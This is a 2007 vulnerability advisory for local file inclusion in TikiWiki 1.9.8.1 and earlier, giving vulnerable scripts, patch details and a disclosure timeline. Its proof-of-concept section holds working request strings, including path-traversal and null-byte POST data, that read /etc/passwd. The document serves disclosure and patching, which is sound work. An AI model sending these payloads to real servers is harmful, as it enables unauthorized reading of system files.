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TikiWiki <= 1.9.8.1 Local File Inclusion
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Author: L4teral <l4teral [4t] gmail com>
Impact: Local File Inclusion
Status: patch available
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Affected software description:
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Application: TikiWiki
Version: <= 1.9.8.1
Vendor: http://tikiwiki.org
Description:
TikiWiki (Tiki) is your Groupware/CMS (Content Management System) solution.
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Vulnerability:
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1.
The script db/tiki-db.php is vulnerable to local file inclusion attacks.
2.
The script tiki-imexport_languages.php is vulnerable to local file inclusion attacks.
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PoC/Exploit:
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1.
register_globals required:
http://localhost/tikiwiki/tiki-index.php?error_handler_file=/etc/passwd
http://localhost/tikiwiki/tiki-index.php?local_php=/etc/passwd
2.
feature lang_use_db(use database for translation) must be activated:
URL: http://localhost/tikiwiki/tiki-imexport_languages.php
POSTDATA: imp_language=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&import=import
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Solution:
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update to 1.9.8.2 or above:
https://sourceforge.net/project/showfiles.php?group_id=64258&package_id=112134&release_id=549549
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Timeline:
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23.10.2007 - vendor informed
25.10.2007 - vendor released patch
25.10.2007 - public disclosure
# milw0rm.com [2007-10-25]
